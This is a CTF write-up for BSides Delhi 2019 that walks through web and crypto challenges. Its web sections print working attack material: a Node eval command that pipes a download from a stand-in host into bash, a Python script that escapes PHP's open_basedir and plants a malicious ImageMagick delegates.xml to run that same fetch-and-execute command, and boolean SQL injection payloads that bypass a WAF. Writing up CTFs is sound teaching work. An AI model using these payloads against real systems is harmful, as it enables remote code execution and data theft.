BSides Delhi CTF 2019
Web
Weird Calculator
After a little fuzzing we found it's running nodejs eval
.
require('child_process').exec('curl example.com|bash')
Half of the flag is in source code, and the other is in a another file.
Flag: bsides_delhi{Prototype_nd_sh3ll1ng_by_the_Cs1de}
Eval Me
In this callenge, we can execute php eval()
but it has lots of disabled functions. openbase_dir
is also set.
Let's first bypass openbae_dir
to see if we can directly read the flag.
<?php
var_dump(getcwd());
mkdir('foo');
chdir('foo');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(file("/flag")); // because fopen, file_get_contents are disabled
var_dump(getcwd());
foreach (glob("/*flag") as $filename) {
echo "$filename size " . filesize($filename) . "\n";
}
Sadly, no. We need to execute /readFlag
.
Let's collect more information:
putenv
is not in disabed functions.imagemagick
plugin is installed.
First, I tried to overwrite $PATH
but it somehow does not work....
Anyway, at least we can bypass the php sandbox via LD_PRELOAD + imagemagick. Please see the Wallbreaker easy from 0CTF/TCTF Quals here.
However, I found another interesting writeup. Section 3-1 shows that we can also overwrite delegate.xml
by defining MAGICK_CONFIGURE_PATH
environment variable.
This is much more interesting compared to the LD_PRELOAD
trick. Let's try this.
#!/usr/bin/env python3
import requests
s = requests.session()
payload='''
error_reporting(E_ALL);
ini_set('display_errors', 1);
mkdir('foo');
chdir('foo');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump("------------------------------------------");
var_dump($SANDBOX);
var_dump($_FILES["file"]);
mkdir("/var/tmp/.systemd");
$fileext="pokemon";
var_dump(move_uploaded_file($_FILES["file"]["tmp_name"], "/var/tmp/.systemd/delegates.xml"));
var_dump(move_uploaded_file($_FILES["img"]["tmp_name"], "/var/tmp/.systemd/.a.".$fileext));
foreach (glob("/var/tmp/.systemd/.*") as $filename) {
var_dump("$filename size " . filesize($filename) . "\n");
}
__halt_compiler();
array_map('rmdir', glob("/var/tmp/*"));
putenv('MAGICK_CONFIGURE_PATH=/var/tmp/.systemd');
var_dump(file("/var/tmp/.systemd/.a.".$fileext));
$img = new Imagick('/var/tmp/.systemd/.a.'.$fileext);
var_dump($img);
$img = new Imagick('/var/tmp/.systemd/.a.'.$fileext);
var_dump($img);
var_dump("------------------------------------------");
'''.replace('\n', '')
r = s.post('http://34.67.7.120/', params=dict(input=payload), files={'file': ('foo', '''
<delegatemap>
<delegate decode="pokemon" command="sh -c "curl example.com|bash""/>
</delegatemap>
'''), 'img': ('bar', 'bazz')})
print(r.text)
Flag: bsides_delhi{PHP-Imagick,isn't_fun??SOFFICE}`
Seek You El
In this challenge, there is a SQL Injection on the pw parameter.
We need to login as admin to get the flag, but /?%5f=' or 1=1 and user=x'61646d696e'#
not work.
So maybe we need to get the pw
value of the admin
to login.
And there is WAF in this challenge, we can't use ()
, select
, sleep
, ....
Then I found that we can use SQL error to do boolean-based SQL Injection:
/?%5f='or ~0+1#
=> Error
/?%5f='or ~0+0#
=> OK
OK, let's dump pw:
/?%5f='or user=x'61646d696e' and (~(ascii(mid(pw,1,1))>0)+1) #
/?%5f='or user=x'61646d696e' and (~(ascii(mid(pw,1,1))>100)+1) #
...
Then we have pw
: 9f3b7c0e1a
Using this pw to login and get the flag:
bsides_delhi{sequel_injections_are_really_great_i_guess_dont_you_think?}
Crypto
SecureMAC
Two parts in this challenge:
- get the key
- generate a collision to this mac
First Part
Same technique as in CSAW CTF - Fault Box
let f
be bytes_to_long("fake_flag")
c
will be f ** e + k * p
for some k
We know the value of f ** e
Simply calculate gcd(f ** e - c, n)
will give us prime factor p
, then we can factor n
Second Part
To make things simple, we send messages of 32 bytes.
Both messageblocks[1]
and tag
, which is ECB.encrypt(messageblocks[0])
we can control
Just make the result of strxor
be the same
flag: bsides_delhi{F4ult'n'F0rg3_1s_@_b4d_c0mb1n4ti0n}
BabyRSA
This is yet another RSA challenge
salt
can be decrypt directly
Then, use wiener attack to factor n = p * q
and get p1 * p2
Simply gcd p1 * p2
with n1
and n2
and get all the prime factors
Note that gcd(e1, (p1 - 1) * (q1 - 1)) != 1
and gcd(e2, (p2 - 1) * (q2 - 1)) != 1
, we can't directly decrypt magic
Luckily, gcd(e1, q1 - 1) == 2
and gcd(e2, q2 - 1) == 2
We can get m ** 2 % q1
and m ** 2 % q2
Then use the same technique as in Rabin cryptosystem, which is modular square root and chinese remainder theorem
flag: bsides_delhi{JuG1iNg_WiTh_RS4}
ExtendedElgamal
rand = lambda: random.randint(133700000,2333799999)
this is a small range
Brute force it and get z
Then calculate e / (g^k)^z
to get m
flag: bsides_delhi{that5_som3_b4d_k3y_generation!}